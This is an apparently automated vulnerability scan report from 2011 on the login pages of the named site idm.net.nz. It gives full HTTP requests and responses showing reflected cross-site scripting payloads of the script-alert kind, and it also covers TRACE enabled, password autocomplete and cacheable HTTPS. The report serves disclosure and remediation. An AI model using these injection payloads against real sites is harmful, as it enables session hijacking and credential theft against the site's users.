XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, idn.net.nz

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Sun May 15 14:46:56 CDT 2011.


Loading

1. Cross-site scripting (reflected)

1.1. https://idm.net.nz/secure/ [name of an arbitrarily supplied request parameter]

1.2. https://idm.net.nz/secure/index.php [name of an arbitrarily supplied request parameter]

2. Password field with autocomplete enabled

2.1. https://idm.net.nz/secure/

2.2. https://idm.net.nz/secure/index.php

3. Cross-domain script include

3.1. https://idm.net.nz/secure/

3.2. https://idm.net.nz/secure/index.php

4. TRACE method is enabled

5. Cacheable HTTPS response

5.1. https://idm.net.nz/favicon.ico

5.2. https://idm.net.nz/secure/

5.3. https://idm.net.nz/secure/index.php

6. Content type incorrectly stated

7. SSL certificate



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://idm.net.nz/secure/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /secure/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3076"><script>alert(1)</script>6b7dcefb176 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /secure/?d3076"><script>alert(1)</script>6b7dcefb176=1 HTTP/1.1
Host: idm.net.nz
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:42:08 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8230

<html>
<head>
<title>IDM Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>

...[SNIP]...
<input name="Referrer" type="hidden" value="https://idm.net.nz/secure/?d3076"><script>alert(1)</script>6b7dcefb176=1">
...[SNIP]...

1.2. https://idm.net.nz/secure/index.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /secure/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f8a3"><script>alert(1)</script>54d864ce6a8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /secure/index.php?9f8a3"><script>alert(1)</script>54d864ce6a8=1 HTTP/1.1
Host: idm.net.nz
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:51:40 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8239

<html>
<head>
<title>IDM Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>

...[SNIP]...
<input name="Referrer" type="hidden" value="https://idm.net.nz/secure/index.php?9f8a3"><script>alert(1)</script>54d864ce6a8=1">
...[SNIP]...

2. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


2.1. https://idm.net.nz/secure/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /secure/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /secure/ HTTP/1.1
Host: idm.net.nz
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:41:47 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8184

<html>
<head>
<title>IDM Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>

...[SNIP]...
<div style="display: block;" id="divLogin">
                                       <form action="/secure/index.php" method="post" style="display: inline;" name="loginForm">
                                       <input type="hidden" id="detect" name="detect" value="">
...[SNIP]...
<td colspan="2" class="dataTableMainCell" style="padding: 5px 5px 5px 25px;">
                       <input name="password" type="password" style="width: 200px;" maxlength="8" tabindex="2">
                       <br>
...[SNIP]...

2.2. https://idm.net.nz/secure/index.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /secure/index.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /secure/index.php HTTP/1.1
Host: idm.net.nz
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:51:22 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8193

<html>
<head>
<title>IDM Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>

...[SNIP]...
<div style="display: block;" id="divLogin">
                                       <form action="/secure/index.php" method="post" style="display: inline;" name="loginForm">
                                       <input type="hidden" id="detect" name="detect" value="">
...[SNIP]...
<td colspan="2" class="dataTableMainCell" style="padding: 5px 5px 5px 25px;">
                       <input name="password" type="password" style="width: 200px;" maxlength="8" tabindex="2">
                       <br>
...[SNIP]...

3. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. https://idm.net.nz/secure/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /secure/

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /secure/ HTTP/1.1
Host: idm.net.nz
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:41:47 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8184

<html>
<head>
<title>IDM Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>

...[SNIP]...

3.2. https://idm.net.nz/secure/index.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /secure/index.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /secure/index.php HTTP/1.1
Host: idm.net.nz
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:51:22 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8193

<html>
<head>
<title>IDM Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>

...[SNIP]...

4. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: idm.net.nz
Cookie: fbff74e94456198d

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:41:49 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: idm.net.nz
Cookie: fbff74e94456198d


5. Cacheable HTTPS response  previous  next
There are 3 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


5.1. https://idm.net.nz/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: idm.net.nz
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:41:56 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Thu, 04 Aug 2005 22:39:59 GMT
ETag: "1289d0-6b6-42d98dc0"
Accept-Ranges: bytes
Content-Length: 1718
Connection: close
Content-Type: text/plain; charset=UTF-8

..............(...&...........h...N...(....... ...................................l7#.r;&.|A*..D,......................................................UUUUUUP.DDDDDD@.DDDDDD@.DDDDDD@.3333330.cfc6360.c
...[SNIP]...

5.2. https://idm.net.nz/secure/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /secure/

Request

GET /secure/ HTTP/1.1
Host: idm.net.nz
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:41:47 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8184

<html>
<head>
<title>IDM Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>

...[SNIP]...

5.3. https://idm.net.nz/secure/index.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /secure/index.php

Request

GET /secure/index.php HTTP/1.1
Host: idm.net.nz
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:51:22 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8193

<html>
<head>
<title>IDM Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>

...[SNIP]...

6. Content type incorrectly stated  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://idm.net.nz
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: idm.net.nz
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 17:41:56 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Thu, 04 Aug 2005 22:39:59 GMT
ETag: "1289d0-6b6-42d98dc0"
Accept-Ranges: bytes
Content-Length: 1718
Connection: close
Content-Type: text/plain; charset=UTF-8

..............(...&...........h...N...(....... ...................................l7#.r;&.|A*..D,......................................................UUUUUUP.DDDDDD@.DDDDDD@.DDDDDD@.3333330.cfc6360.c
...[SNIP]...

7. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://idm.net.nz
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  idm.net.nz
Issued by:  COMODO High-Assurance Secure Server CA
Valid from:  Mon May 09 19:00:00 CDT 2011
Valid to:  Wed May 09 18:59:59 CDT 2012

Certificate chain #1

Issued to:  COMODO High-Assurance Secure Server CA
Issued by:  AddTrust External CA Root
Valid from:  Thu Apr 15 19:00:00 CDT 2010
Valid to:  Sat May 30 05:48:38 CDT 2020

Certificate chain #2

Issued to:  AddTrust External CA Root
Issued by:  AddTrust External CA Root
Valid from:  Tue May 30 05:48:38 CDT 2000
Valid to:  Sat May 30 05:48:38 CDT 2020

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Sun May 15 14:46:56 CDT 2011.